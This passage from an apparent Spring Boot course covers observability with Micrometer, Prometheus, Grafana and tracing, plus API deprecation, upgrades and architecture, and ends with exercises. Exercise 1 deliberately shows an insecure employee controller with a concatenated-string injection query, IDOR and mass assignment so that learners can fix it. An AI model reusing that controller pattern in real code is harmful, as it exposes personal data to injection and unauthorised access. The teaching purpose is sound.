- Compliance with the applicable regulations. In the European Union, the GDPR imposes concrete obligations backed by fines: a legal basis for processing the data, minimisation, the right of access, rectification and erasure, breach notification within 72 hours, impact assessments, and a record of processing activities. If BiblioTech stores employees' names, email addresses and reading habits, it is processing personal data and the GDPR applies.
- An incident management policy. What happens when —not if— a breach is detected: who decides, who gets told, how credentials are rotated, how it is communicated.
- Continuous training. Attack techniques evolve. What was safe in 2020 may not be safe today.
Practical rule: if your system handles real people's data, credentials or payments, do not expose it until somebody with specific security training has reviewed it. This is not pessimism: it is that the cost of getting it wrong is paid by third parties who trusted you.
And one more rule, the one that prevents the most incidents: do not roll your own cryptography. Use BCrypt or Argon2 for passwords, TLS for transport, and established libraries for everything else. Every broken cryptographic system in history started with somebody convinced their idea was a good one.
Part II: Observability
- Observability: the three pillars
Monitoring answers questions you already knew you were going to ask. Observability lets you answer questions you had not anticipated. The difference matters when the problem is a new one, which it always is.
| Pillar | What it is | Answers | Cost | Retention |
|---|---|---|---|---|
| Logs | Discrete events with context | "What exactly happened in this request?" | High (volume) | Days or weeks |
| Metrics | Numeric values aggregated over time | "How many requests per second? What latency?" | Low | Months or years |
| Traces | A request's journey through the system | "Which component did the time go into?" | Medium (sampling) | Days |
Why logs are not enough, which is what almost everybody has and nothing more:
| Question | Do the logs answer it? |
|---|---|
| How many requests per second? | By counting lines: expensive and approximate |
| What is the 99th percentile latency? | Practically impossible |
| Has it got worse compared with last week? | Not if they have already been rotated |
| Is the connection pool running out? | Only if somebody thought to log it |
| What takes longer, the database or the external API? | Very laboriously |
| How much memory is left before the next GC? | No |
And there is an added problem: logging at the level needed to answer those questions produces such a volume that it becomes unaffordable in cost and in noise. Metrics are cheap because they aggregate; logs are expensive because they keep every event.
- Actuator and Micrometer
Micrometer is to metrics what SLF4J is to logging (11-07): a facade that decouples your code from the concrete metrics system. You write against Micrometer and decide afterwards whether they go to Prometheus, Datadog, CloudWatch or New Relic.
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
<dependency>
<groupId>io.micrometer</groupId>
<artifactId>micrometer-registry-prometheus</artifactId>
<scope>runtime</scope>
</dependency>management:
endpoints:
web:
exposure:
include: health,info,metrics,prometheus,loggers
endpoint:
health:
probes: { enabled: true }
show-details: when-authorized
metrics:
tags:
application: bibliotech # tag common to ALL metrics
environment: ${SPRING_PROFILES_ACTIVE:unknown}
observations:
key-values:
version: ${bibliotech.version}
prometheus:
metrics:
export:
enabled: trueWith that, Spring Boot already exposes dozens of metrics without a line of code:
| Metric | What it measures |
|---|---|
http.server.requests |
Requests: count, latency, by route, method and status |
jvm.memory.used |
Memory per region (10-07) |
jvm.gc.pause |
Collector pauses |
jvm.threads.live |
Live threads |
hikaricp.connections.active |
Pool connections in use |
hikaricp.connections.pending |
Threads waiting for a connection |
spring.data.repository.invocations |
Repository calls |
system.cpu.usage |
CPU |
logback.events |
Log events by level |
The four instrument types:
| Type | What it measures | Example |
|---|---|---|
| Counter | A value that only grows | Loans created |
| Gauge | An instantaneous value | Materials available |
| Timer | Duration and frequency | Fine calculation time |
| DistributionSummary | Distribution of values | Import batch size |
- Business metrics
Technical metrics tell you whether the system is healthy. Business metrics tell you whether it is doing its job, and they are the ones that catch the silent failures.
@Service
public class BiblioTechMetrics {
private final Counter loansCreated;
private final Counter loansRejected;
private final Counter finesIssued;
private final Timer fineCalculationTime;
private final DistributionSummary fineAmounts;
public BiblioTechMetrics(MeterRegistry registry, MaterialRepository materials) {
this.loansCreated = Counter.builder("bibliotech.loans.created")
.description("Loans created successfully")
.baseUnit("loans")
.register(registry);
this.loansRejected = Counter.builder("bibliotech.loans.rejected")
.description("Rejected loan attempts")
.register(registry);
this.finesIssued = Counter.builder("bibliotech.fines.issued")
.register(registry);
this.fineCalculationTime = Timer.builder("bibliotech.fines.calculation")
.publishPercentiles(0.5, 0.95, 0.99)
.register(registry);
this.fineAmounts = DistributionSummary.builder("bibliotech.fines.amount")
.baseUnit("euros")
.publishPercentiles(0.5, 0.95)
.register(registry);
// Gauge: it is read when the metric is collected.
// CAREFUL: the function must be CHEAP. Here a cached query, not a count() against the DB.
Gauge.builder("bibliotech.materials.available", materials::countAvailableCached)
.description("Materials with at least one free copy")
.register(registry);
}
/** With a reason tag: it lets us see WHY they are rejected. */
public void loanRejected(String reason) {
loansRejected.increment();
Counter.builder("bibliotech.loans.rejected.by.reason")
.tag("reason", reason) // limit_exceeded, no_copies, unpaid_fines
.register(registry)
.increment();
}
}And its use, wired into the use case:
@Service
public class LoanManager {
@Timed(value = "bibliotech.loans.duration", percentiles = {0.5, 0.95, 0.99})
@Transactional
public Loan lend(Isbn isbn, Long employeeId, Integer days) {
try {
Loan loan = createLoan(isbn, employeeId, days);
metrics.loanCreated(loan.getMaterial().type());
return loan;
} catch (LoanLimitExceededException e) {
metrics.loanRejected("limit_exceeded");
throw e;
} catch (MaterialNotAvailableException e) {
metrics.loanRejected("no_copies");
throw e;
}
}
}A warning about cardinality. Never use as a tag a value with many possible values: user identifier, ISBN, IP address, timestamp. Every combination of tags creates a separate time series, and a tag with 100,000 values creates 100,000 series. It is the fastest way to bring down a Prometheus. Good tags: material type (3 values), rejection reason (5), HTTP status (10). Forbidden tags:
employeeId,isbn, the fullurlwith parameters.
- Prometheus and Grafana
Prometheus collects metrics by scraping: it periodically queries the endpoint the application exposes.
$ curl -s localhost:8080/actuator/prometheus | grep bibliotech_loans
# HELP bibliotech_loans_created_total Loans created successfully
# TYPE bibliotech_loans_created_total counter
bibliotech_loans_created_total{application="bibliotech",environment="prod",type="BOOK"} 1247.0
bibliotech_loans_created_total{application="bibliotech",environment="prod",type="DVD"} 89.0# prometheus.yml
global:
scrape_interval: 15s
scrape_configs:
- job_name: bibliotech
metrics_path: /actuator/prometheus
static_configs:
- targets: ['bibliotech:8080']
rule_files:
- alerts.ymlPromQL queries for the questions people actually ask:
# Requests per second, by endpoint
sum(rate(http_server_requests_seconds_count[5m])) by (uri)
# 95th percentile latency
histogram_quantile(0.95, sum(rate(http_server_requests_seconds_bucket[5m])) by (le, uri))
# Error rate (5xx over the total)
sum(rate(http_server_requests_seconds_count{status=~"5.."}[5m]))
/ sum(rate(http_server_requests_seconds_count[5m]))
# Connection pool usage
hikaricp_connections_active / hikaricp_connections_max
# Loans per hour
sum(rate(bibliotech_loans_created_total[1h])) * 3600
# Heap memory in use, as a percentage
sum(jvm_memory_used_bytes{area="heap"}) / sum(jvm_memory_max_bytes{area="heap"})Add the full stack to compose.yaml (12-06) for development:
prometheus:
image: prom/prometheus:latest
volumes:
- ./observability/prometheus.yml:/etc/prometheus/prometheus.yml:ro
- ./observability/alerts.yml:/etc/prometheus/alerts.yml:ro
ports: ["9090:9090"]
grafana:
image: grafana/grafana:latest
environment:
GF_SECURITY_ADMIN_PASSWORD: ${GRAFANA_PASSWORD:-admin}
volumes:
- ./observability/grafana:/etc/grafana/provisioning:ro
ports: ["3000:3000"]
depends_on: [prometheus]
- The four golden signals
Of all the possible metrics, there are four that answer 90% of operational questions. They come from Google's SRE book and they are the starting point for any dashboard:
| Signal | What it measures | In BiblioTech | Alert if |
|---|---|---|---|
| Latency | Response time | p95 and p99 of http.server.requests |
p95 > 500 ms for 5 min |
| Traffic | Demand | Requests per second | A 50% drop against the usual level |
| Errors | Failed requests | 5xx rate | > 1% for 5 min |
| Saturation | How full the system is | Connection pool, memory, CPU | Pool > 80%, heap > 85% |
Two nuances that matter more than they look:
Measure percentiles, not averages. The average hides exactly the cases that hurt. With 1,000 requests at 50 ms and 10 at 8 seconds, the average is 129 ms —looks fine— and there are ten users convinced the system is broken. The p99 does see it.
The latency of errors is measured separately. A 500 that responds in 3 ms artificially improves the latency average. Always separate the latency of successful requests from that of failed ones.
- Distributed tracing
When a request crosses several components, scattered logs do not tell you where the time went. Traces follow the request end to end.
<dependency>
<groupId>io.micrometer</groupId>
<artifactId>micrometer-tracing-bridge-otel</artifactId>
</dependency>
<dependency>
<groupId>io.opentelemetry</groupId>
<artifactId>opentelemetry-exporter-otlp</artifactId>
</dependency>management:
tracing:
sampling:
probability: 0.1 # 10% of requests: low cost, big enough sample
otlp:
tracing:
endpoint: http://tempo:4318/v1/traces
logging:
pattern:
# traceId and spanId on EVERY log line: that is what joins a trace to its logs
level: "%5p [${spring.application.name},%X{traceId:-},%X{spanId:-}]"A trace of POST /api/loans:
Trace a3f7e91c4b2d8f6a ─── total: 187 ms ├── http POST /api/loans 187 ms │ ├── LoanManager.lend 184 ms │ │ ├── select materials where isbn = ? 4 ms │ │ ├── select count(*) from loans where … 3 ms │ │ ├── MetadataGateway.search (external HTTP) 142 ms ← THE CULPRIT │ │ ├── insert into loans 6 ms │ │ └── NoticeSender.send 27 ms │ └── JSON serialisation 2 ms
At a glance: 76% of the time goes into one external HTTP call. Without traces, that is hours of manual instrumentation.
And this is where the MDC from 11-07 pays off. The traceId that Micrometer Tracing propagates is the same correlation identifier you already put in the MDC, the same one that appears in the ProblemDetail from 12-04, and the same one the CLI returns as its incident identifier (12-03). A user reports a problem with the identifier a3f7e91c; with it you have the complete trace, every log line for that request, and the exact point where it failed.
Your own spans where they are needed:
@Service
public class CatalogEnricher {
private final ObservationRegistry registry;
public void enrich(List<Material> materials) {
Observation.createNotStarted("bibliotech.enrich", registry)
.lowCardinalityKeyValue("source", "metadata-api")
.highCardinalityKeyValue("count", String.valueOf(materials.size()))
.observe(() -> {
materials.forEach(this::enrichOne);
});
}
}
- Logs in production
In production, logs must be structured. A plain-text log forces the tooling to guess; a JSON one is queried like a database.
<!-- logback-spring.xml, picking up 11-07 -->
<configuration>
<springProfile name="dev">
<appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
<encoder>
<pattern>%d{HH:mm:ss.SSS} %highlight(%-5level) [%X{traceId:-}] %cyan(%logger{25}) - %msg%n</pattern>
</encoder>
</appender>
<root level="INFO"><appender-ref ref="CONSOLE"/></root>
</springProfile>
<springProfile name="prod">
<appender name="JSON" class="ch.qos.logback.core.ConsoleAppender">
<encoder class="net.logstash.logback.encoder.LogstashEncoder">
<includeMdcKeyName>traceId</includeMdcKeyName>
<includeMdcKeyName>spanId</includeMdcKeyName>
<includeMdcKeyName>userId</includeMdcKeyName>
<customFields>{"application":"bibliotech","environment":"prod"}</customFields>
<fieldNames>
<timestamp>timestamp</timestamp>
<message>message</message>
</fieldNames>
</encoder>
</appender>
<!-- Asynchronous: logging must NOT slow requests down -->
<appender name="ASYNC" class="ch.qos.logback.classic.AsyncAppender">
<appender-ref ref="JSON"/>
<queueSize>2048</queueSize>
<discardingThreshold>0</discardingThreshold> <!-- never discard WARN or ERROR -->
<neverBlock>true</neverBlock> <!-- under saturation, discard rather than block -->
</appender>
<root level="INFO"><appender-ref ref="ASYNC"/></root>
<logger name="AUDIT" level="INFO" additivity="false">
<appender-ref ref="ASYNC"/>
</logger>
</springProfile>
</configuration>{
"timestamp": "2026-08-05T10:23:45.123Z",
"level": "INFO",
"logger_name": "com.nexussoftware.bibliotech.application.LoanManager",
"message": "Loan created id=42 isbn=978-0000000001",
"traceId": "a3f7e91c4b2d8f6a",
"spanId": "8f6a2b1c",
"userId": "1",
"application": "bibliotech",
"environment": "prod"
}In containers, always write to standard output. Not to files: the container is ephemeral (12-06) and the orchestrator already collects standard output and ships it to the aggregator (Loki, Elasticsearch, CloudWatch).
What NOT to log, ever:
| Do not log | Reason |
|---|---|
| Passwords, not even for debugging | They sit in the aggregator for months |
| Tokens, API keys, session cookies | Stealable with read-only access to the log |
| Card numbers, national ID numbers, health data | GDPR and PCI-DSS |
| Full request bodies | They usually carry all of the above |
| Unnecessary personal data | GDPR data minimisation |
| Inside a loop over 50,000 elements | Cost and noise |
Retention, on grounds of both cost and regulation:
| Type | Retention | Reason |
|---|---|---|
| DEBUG | Not logged in production | Volume |
| INFO | 7-14 days | Recent diagnosis |
| WARN / ERROR | 30-90 days | Trend analysis |
| Audit | 1-7 years | Legal obligation |
| Metrics | 13 months | Comparison with the previous year |
- Useful alerts versus noise
An alert that gets ignored is worse than no alert at all: it trains the team to ignore them all.
| Good alert | Bad alert |
|---|---|
| Requires human action now | It is informational |
| Indicates user impact | Indicates a cause that may not matter |
| Rare and credible | Frequent and full of false positives |
| Says what to do | Only says what happened |
| Has an associated procedure | Nobody knows what to do with it |
# alerts.yml
groups:
- name: bibliotech
rules:
# ✅ GOOD: direct user impact, requires action
- alert: HighErrorRate
expr: |
sum(rate(http_server_requests_seconds_count{status=~"5..",application="bibliotech"}[5m]))
/ sum(rate(http_server_requests_seconds_count{application="bibliotech"}[5m])) > 0.01
for: 5m
labels: { severity: critical }
annotations:
summary: "More than 1% of requests are failing with 5xx"
description: "Current rate: {{ $value | humanizePercentage }}"
action: "Check the logs with severity=ERROR and the traces from the latest deployment"
runbook: "https://wiki.nexussoftware.com/bibliotech/runbook#5xx-errors"
# ✅ GOOD: predicts a failure before it happens
- alert: ConnectionPoolRunningOut
expr: hikaricp_connections_pending{application="bibliotech"} > 5
for: 3m
labels: { severity: high }
annotations:
summary: "{{ $value }} threads waiting for a database connection"
action: "Look for slow queries; consider raising maximum-pool-size"
# ✅ GOOD: detects a SILENT failure
- alert: NoLoansDuringBusinessHours
expr: |
sum(rate(bibliotech_loans_created_total[30m])) == 0
and on() (hour() >= 8 < 18) and on() (day_of_week() > 0 < 6)
for: 30m
labels: { severity: medium }
annotations:
summary: "Not a single loan in 30 minutes during business hours"
description: "The system responds, but there may be a functional failure"
# ❌ BAD: implies no impact and fires constantly
# - alert: HighCpuUsage
# expr: system_cpu_usage > 0.8
# A 30-second CPU spike does not require anybody to get out of bed.
# ❌ BAD: informational, not actionable
# - alert: DeploymentCompleted
# That belongs in a notifications channel, not in an alert.The "no loans during business hours" alert is the most interesting of the three, because it catches the kind of failure no technical metric sees: the system returns 200 to everything, latency is perfect, the CPU is relaxed… and a broken business rule stops anybody from borrowing anything.
Note: SLI, SLO and error budget. An SLI (indicator) is a metric that measures the user experience: for example, "percentage of successful requests under 300 ms". An SLO (objective) is the target: "99.5% monthly". The error budget is what is left over: at 99.5%, you can fail 0.5% of the month, that is, about 3.6 hours. Its value is that it turns a subjective argument into a decision backed by data: if you have burned 80% of the budget in the first week, new features are frozen and the effort goes into reliability. And if you have gone six months without spending it, you are probably being too conservative and could deploy more often. A 100% SLO is not an ambitious target: it is a badly defined one, because its cost is infinite.
- The BiblioTech dashboard
A Grafana dashboard with three rows, ordered by what gets looked at first:
| Row | Panels | For whom |
|---|---|---|
| Health | Availability, error rate, p95 and p99, requests per second | Everybody, at a glance |
| Resources | Heap, GC pauses, threads, connection pool, CPU | Whoever is diagnosing |
| Business | Loans/hour, returns, fines issued, materials available, rejections by reason | Product and operations |
{
"title": "BiblioTech — Health",
"panels": [
{
"title": "Error rate (5xx)",
"targets": [{ "expr": "sum(rate(http_server_requests_seconds_count{status=~\"5..\"}[5m])) / sum(rate(http_server_requests_seconds_count[5m]))" }],
"thresholds": [{ "value": 0.01, "color": "red" }]
},
{
"title": "p95 latency by endpoint",
"targets": [{ "expr": "histogram_quantile(0.95, sum(rate(http_server_requests_seconds_bucket[5m])) by (le, uri))" }]
},
{
"title": "Loans per hour",
"targets": [{ "expr": "sum(rate(bibliotech_loans_created_total[1h])) * 3600" }]
},
{
"title": "Rejections by reason",
"targets": [{ "expr": "sum(rate(bibliotech_loans_rejected_by_reason_total[15m])) by (reason)" }]
}
]
}And a dashboard design rule: if a panel has never helped anyone make a decision, remove it. A dashboard with forty charts does not get looked at; one with eight does.
Part III: Evolution
- API versioning and deprecation
The moment an external client consumes your API, the contract stops being yours. Changing it breaks other people's systems.
| Strategy | Example | Advantages | Drawbacks |
|---|---|---|---|
| In the URI | /api/v1/materials |
Explicit, cacheable, easy to route | Duplicates routes; not very "pure REST" |
| Custom header | X-Api-Version: 2 |
Clean URI | Invisible; hard to test from a browser |
| Content negotiation | Accept: application/vnd.bibliotech.v2+json |
The most "correct" | Awkward to use and to debug |
| Parameter | /api/materials?version=2 |
Very simple | Gets mixed up with the filters |
| No version | /api/materials |
Free | Only viable if there are never breaking changes |
Recommendation for BiblioTech: the version in the URI. It is not the most elegant, it is the most practical: you see it in any log, you test it with curl, you route it at the proxy and everybody understands it.
The most important thing is not the strategy but knowing which changes break clients and which do not:
| Change | Breaking? |
|---|---|
| Adding a field to the response | No (if clients ignore what they do not know) |
| Adding an optional parameter | No |
| Adding an endpoint | No |
| Removing a field from the response | Yes |
| Renaming a field | Yes |
| Changing the type of a field | Yes |
| Making an optional field mandatory | Yes |
| Changing a status code | Yes |
| Narrowing a range of values | Yes |
The first row is the key one: if your clients ignore unknown fields, you can add without breaking. That is why @JsonIgnoreProperties(ignoreUnknown = true) from 11-07 is not a detail: it is what allows the API to evolve.
Orderly deprecation, in four phases:
@GetMapping("/api/v1/materials/{isbn}")
@Deprecated(since = "1.5.0", forRemoval = true)
@Operation(deprecated = true,
summary = "[DEPRECATED] Use /api/v2/materials/{isbn}",
description = "Will be removed on 2027-01-01. Changes in v2: the 'available' field "
+ "(boolean) is replaced by 'availableCopies' (integer).")
public ResponseEntity<MaterialResponseV1> byIsbnV1(@PathVariable Isbn isbn) {
return ResponseEntity.ok()
.header("Deprecation", "true") // RFC 8594
.header("Sunset", "Fri, 01 Jan 2027 00:00:00 GMT")
.header("Link", "</api/v2/materials/" + isbn + ">; rel=\"successor-version\"")
.body(MaterialResponseV1.from(catalog.byIsbn(isbn).orElseThrow()));
}| Phase | Duration | What happens |
|---|---|---|
| 1. Announcement | — | Publish v2, document the migration, notify the clients |
| 2. Deprecation | 6-12 months | v1 keeps working, with Deprecation and Sunset headers; measure its usage |
| 3. Final warning | 1 month | Contact directly whoever is still on v1 |
| 4. Removal | — | v1 returns 410 Gone with a link to v2 |
And one metric that makes all of this work:
@Component
public class ApiVersionMetrics {
@EventListener
public void onV1Used(V1RequestEvent event) {
Counter.builder("bibliotech.api.v1.usage")
.tag("client", event.clientId()) // low cardinality
.register(registry)
.increment();
}
}Without that metric, retiring v1 is a gamble. With it, you know exactly who is left and you can call them.
- Technical debt and upgrades
Managing the debt. Picking up 12-05, debt is managed by making it visible:
| Practice | How |
|---|---|
| Record it | Issues tagged technical-debt with their estimated cost |
| Quantify it | "This costs us 2 h per sprint" is an argument; "it's ugly" is not |
| Budget for it | 15-20% of each iteration's capacity |
| Pay it where it hurts | Refactor what you touch often, not what is ugly and untouched |
| Prevent it | Clean as You Code from 12-05 |
Upgrading Java. The support calendar:
| Version | Type | Supported until |
|---|---|---|
| Java 17 | LTS | 2029 |
| Java 21 | LTS | 2031 |
| Java 25 | LTS | ~2033 |
| Interim (22, 23, 24…) | 6 months | The next one |
A sensible strategy: production on LTS, and test every interim release in CI (the matrix from 12-05) to spot problems early.
Upgrading Spring Boot, which is usually the bigger job:
| Type | Example | Risk | Frequency |
|---|---|---|---|
| Patch | 3.3.4 → 3.3.5 | Very low. Security fixes | Monthly |
| Minor | 3.3 → 3.4 | Low. Some deprecations | Every 6 months |
| Major | 2.7 → 3.0 | High: javax → jakarta, Java 17 minimum |
With planning |
./mvnw versions:display-dependency-updates # which dependencies have a new version
./mvnw versions:display-plugin-updates
./mvnw versions:display-property-updatesA safe procedure for a major upgrade, the one that saves you the lost weeks:
- Read the official migration notes, all of them. It is not optional.
- A branch of its own, only for the upgrade. No features mixed in.
- Move up one minor version at a time (3.1 → 3.2 → 3.3), not in one jump.
- Run the full suite at every hop.
- Fix deprecations before moving to the next major.
- Deploy to staging and watch the metrics for 48 hours.
- Production with blue-green (12-06), ready to roll back.
And a tool that saves a lot of mechanical work: OpenRewrite applies migration recipes automatically.
./mvnw org.openrewrite.maven:rewrite-maven-plugin:run \
-Drewrite.activeRecipes=org.openrewrite.java.spring.boot3.UpgradeSpringBoot_3_3
- Documentation that survives
All documentation goes stale. The only kind that does not is the kind that is generated or verified automatically.
| Document | Where | How it survives |
|---|---|---|
| README | Root of the repository | CI runs its start-up commands |
| OpenAPI | Generated from the code | It is generated; it cannot lie |
| ADR | docs/adr/ |
Immutable by design (12-01) |
| Domain Javadoc | In the code | You read it while using the class |
| Runbooks | Wiki, linked from the alerts | Reviewed after every incident |
| Architecture diagrams | docs/, as code (Mermaid, PlantUML) |
Reviewed in the PR |
| Wiki with "how the system works" | — | It does not survive. Avoid it |
A runbook is what you are most grateful for at three in the morning:
# Runbook: HighErrorRate
## What it means
More than 1% of requests return 5xx for 5 minutes.
## Impact
Users are getting errors. High priority.
## Diagnosis
1. Was there a deployment in the last hour?
`kubectl rollout history deployment/bibliotech -n production`
→ If so, **that is the first hypothesis**: `kubectl rollout undo`
2. Which endpoint is failing?
Grafana → BiblioTech Health → "Errors by endpoint"
3. Which exception?
`{application="bibliotech"} | json | level="ERROR"` in Loki, last 15 min
4. Is the database responding?
`curl -s $BASE/actuator/health | jq .components.db`
5. Is the pool saturated?
Grafana → Resources → "Pending connections"
## Frequent causes
| Symptom | Cause | Fix |
|---|---|---|
| Errors after a deployment | Regression | `kubectl rollout undo` |
| `CannotGetJdbcConnection` | DB down or pool exhausted | Check the DB; look for slow queries |
| `SocketTimeoutException` to metadata | External API down | Switch on degraded mode |
| OOMKilled pods | Not enough memory | Raise the limit; look for leaks (10-07) |
## Escalation
Unresolved after 30 min → page the on-call lead.
- How to grow BiblioTech
Nexus Software is growing and BiblioTech has to grow with it. Four scenarios and how each would be tackled:
1. Multi-branch. The company opens offices in Valencia and Lisbon; each one with its own collection.
// The domain takes the branch on board as a first-class concept
public record Branch(Long id, String name, String city, ZoneId timeZone) { }
public class Copy { // NEW: separate Material from its physical copies
private Material material; // the "what" (shared)
private Branch branch; // the "where"
private String internalCode;
private CopyStatus status;
}Watch out for time zones: fines are calculated in days, and a day does not start at the same moment in Madrid and in Lisbon. The injectable Clock from 10-05 becomes a Clock per branch.
2. Real email notifications. The NoticeSender port already exists (12-01), so this is a matter of writing a new adapter — with two precautions: asynchronous sending so the request is not blocked, and retries with exponential backoff, because SMTP servers fail.
@Component
class RetryingEmailNotifier implements NoticeSender {
@Async
@Retryable(retryFor = MailException.class, maxAttempts = 3,
backoff = @Backoff(delay = 2000, multiplier = 3))
public void send(Notice notice) { … }
@Recover
void onRetriesExhausted(MailException e, Notice notice) {
// Onto a failure queue, for manual retry. NEVER lose the notice silently.
failedNoticeRepository.save(FailedNotice.of(notice, e));
}
}3. Mobile app. It requires no changes: the REST API from 12-04 is already its back end. What does have to be added is the mobile-specific part: push notifications, offline sync, and cursor-based pagination (12-04), because on mobile people scroll endlessly.
4. Events. BiblioTech already publishes internal events with ApplicationEventPublisher (12-02). When other Nexus Software systems need to react, those events go out onto a queue:
@Component
class ExternalEventPublisher {
@TransactionalEventListener(phase = TransactionPhase.AFTER_COMMIT)
public void publish(MaterialReturned event) {
// "Outbox" pattern: store the event in the SAME transaction as the change,
// and publish it afterwards from a separate process.
// Without this, a failure after the commit loses the event.
outboxRepository.save(OutboxEvent.of(event));
}
}The outbox pattern solves a real problem: there is no distributed transaction between the database and the message queue, so storing the event in the same transaction as the change is the only way to guarantee that either both happen or neither does.
- When NOT to split into microservices
At this point, somebody will propose splitting BiblioTech into catalog-service, loans-service, notices-service and reports-service. It is worth being clear about the costs.
| Aspect | Modular monolith | Microservices |
|---|---|---|
| Deployment | One | One per service |
| Transactions | ACID out of the box | Eventual consistency, sagas |
| Debugging | One stack trace | Distributed tracing compulsory |
| Refactoring across modules | The compiler helps | Coordinated contract changes |
| Latency between components | Nanoseconds | Milliseconds, plus network failures |
| Integration tests | Direct | Contracts, doubles, environments |
| Scaling one part | You scale everything | Only what needs it |
| Independent teams | Coordination | Autonomy |
| Operational cost | Low | High and permanent |
When NOT to split:
- The team has fewer than 15-20 people. Below that, coordination is not the bottleneck.
- There are no scaling problems that horizontal scaling (12-06) does not solve.
- There are no clear domain boundaries. Splitting badly produces a distributed monolith: the drawbacks of both options and the advantages of neither.
- There is no operational experience: observability, deployment, handling partial failures.
- The reason is "it's what everybody is doing".
When you should:
- Teams constantly treading on each other in the same code.
- One part with radically different scaling requirements.
- A need for different technologies for different parts.
- Fault isolation that is genuinely critical.
And the middle road, which almost always wins: a modular monolith, which is exactly what BiblioTech has been since 12-01. Modules with boundaries the compiler verifies, communication through interfaces, and a single deployment. If one day a module needs to come out, it comes out — and it comes out easily, precisely because the boundary was already defined.
Martin Fowler's recommendation, and the most sensible thing anybody has said on the subject: start with a well-modularised monolith and extract services when the pain justifies it. Almost nobody has succeeded by starting with microservices; plenty of people have succeeded by extracting them from a monolith they understood well.
Common Mistakes and Tips
1. Storing passwords with SHA-256. It is a good algorithm for what it was designed for, and its speed —its virtue— is the exact flaw for passwords. BCrypt or Argon2id.
2. Long-lived JWTs with no revocation. A stolen 24-hour token is 24 hours of access. Short lifetime plus a revocable refresh token.
3. Putting sensitive data in the JWT. It is not encrypted. Anybody can read it.
4. Trusting URL security alone. @PreAuthorize on the services too, because the CLI and the scheduled jobs do not go through the controllers.
5. Forgetting the ownership check. Being authenticated does not mean that loan is yours. It is the most frequent access-control vulnerability.
6. Metrics with high-cardinality tags. tag("isbn", isbn) creates one time series per ISBN and brings Prometheus down.
7. Logging full request bodies. Passwords, tokens and personal data end up in the aggregator for months.
8. Alerting on causes instead of symptoms. "High CPU" gets ignored within two weeks. "3% of requests are failing" demands action.
9. Alerts with no runbook. At three in the morning, nobody remembers what to do. Link the procedure from the alert itself.
10. Breaking the API without warning. Removing a field breaks every client. Deprecate with headers, measure usage and give months of notice.
11. Upgrading Spring Boot two major versions at once. Move up one minor at a time, with the suite green at every hop.
12. Splitting into microservices "because it's time". Without large teams, clear boundaries and operational experience, it swaps known problems for worse ones.
Final tip for this part: security and observability are not bolted on at the end. They are designed in from the start, even if they are implemented later. BiblioTech was able to add them now without trauma for a concrete reason: it had architecture (12-01), clear boundaries (12-02), structured errors (module 6), MDC correlation (11-07) and externalised configuration (12-01). In a project without that, adding security and observability is a rewrite.
Exercises
Exercise 1: closing an access-control vulnerability
This endpoint is in production in BiblioTech:
@RestController
@RequestMapping("/api/employees")
public class EmployeeController {
@GetMapping("/{id}")
public Employee byId(@PathVariable Long id) {
return repository.findById(id).orElseThrow();
}
@GetMapping("/{id}/loans")
public List<Loan> loans(@PathVariable Long id) {
return loanRepository.findByEmployeeId(id);
}
@PutMapping("/{id}")
public Employee update(@PathVariable Long id, @RequestBody Employee employee) {
employee.setId(id);
return repository.save(employee);
}
@GetMapping("/search")
public List<Employee> search(@RequestParam String name) {
return em.createQuery("select e from Employee e where e.name like '%" + name + "%'",
Employee.class).getResultList();
}
}Identify all the vulnerabilities (there are at least seven), classify them by severity and rewrite the controller securely, with the corresponding security tests.
Exercise 2: metrics and alerts for a new feature
BiblioTech is adding automatic renewal: loans that fall due and have no pending reservations renew themselves every night.
Design the complete observability:
- Which metrics to instrument (name, type, tags) and why.
- What gets logged and at what level.
- Three useful alerts, with their PromQL expression, a justified threshold and their action.
- The dashboard panels.
- How you would detect that the feature has stopped running without anybody noticing.
Exercise 3: an API evolution plan
BiblioTech v1 has this endpoint, consumed by the mobile app, the intranet and an HR system:
GET /api/v1/loans/42
{
"id": 42,
"isbn": "978-0000000001",
"employee": "Marta Ruiz",
"due": "2026-08-20",
"returned": false,
"fine": 0
}v2 is needed with: employee as an object ({id, name, email}), returned replaced by status (an enum), fine as an object ({amount, currency}), and new fields renewable and daysRemaining.
Write the full migration plan: versioning strategy, how the two versions coexist, the deprecation timeline, how you measure who is still on v1, the communication to the clients, and the code for both versions.
Solutions
Solution 1
Vulnerabilities identified (nine):
| # | Vulnerability | Severity | Impact |
|---|---|---|---|
| 1 | SQL injection in /search |
Critical | Reading and modifying the whole database |
| 2 | No authentication on any endpoint | Critical | Public access to personal data |
| 3 | IDOR in /{id} and /{id}/loans |
Critical | Anybody sees anybody else's data |
| 4 | Mass assignment in the PUT with an entity |
Critical | Changing role, passwordHash or version |
| 5 | JPA entity exposure | High | The JSON includes the password hash |
| 6 | PUT with no authorisation check |
High | Anybody modifies anybody |
| 7 | orElseThrow() with no specific exception |
Medium | NoSuchElementException → 500 instead of 404 |
| 8 | No pagination in /search |
Medium | Denial of service with a broad search |
| 9 | No length limit on name |
Low | Expensive queries |
Complete rewrite:
@RestController
@RequestMapping("/api/v1/employees")
@Validated
@Tag(name = "Employees")
public class EmployeeController {
private final EmployeeService service;
private final ManageLoans loans;
// ---------------------------------------------------------------
// Fetching one employee: either it is you, or you are ADMIN
// ---------------------------------------------------------------
@GetMapping("/{id}")
@PreAuthorize("#id == authentication.principal.id or hasRole('ADMIN')")
public EmployeeResponse byId(@PathVariable Long id) {
return service.findById(id)
.map(EmployeeResponse::from) // DTO: no password hash, no internal role
.orElseThrow(() -> new EmployeeNotFoundException(id)); // → 404
}
// ---------------------------------------------------------------
// Loans: your own, or LIBRARIAN/ADMIN
// ---------------------------------------------------------------
@GetMapping("/{id}/loans")
@PreAuthorize("#id == authentication.principal.id or hasAnyRole('LIBRARIAN','ADMIN')")
public PageResponse<LoanResponse> loansOf(
@PathVariable Long id,
@RequestParam(required = false) LoanStatus status,
@PageableDefault(size = 20, sort = "loanDate",
direction = Sort.Direction.DESC) Pageable pageable) {
if (!service.exists(id)) throw new EmployeeNotFoundException(id);
return PageResponse.from(
loans.ofEmployee(id, status, pageable).map(LoanResponse::from));
}
// ---------------------------------------------------------------
// Update: closed DTO, never the entity
// ---------------------------------------------------------------
@PutMapping("/{id}")
@PreAuthorize("#id == authentication.principal.id or hasRole('ADMIN')")
public EmployeeResponse update(@PathVariable Long id,
@Valid @RequestBody UpdateEmployeeRequest request) {
// The DTO has ONLY the modifiable fields.
// It is IMPOSSIBLE to send role, passwordHash, version or id.
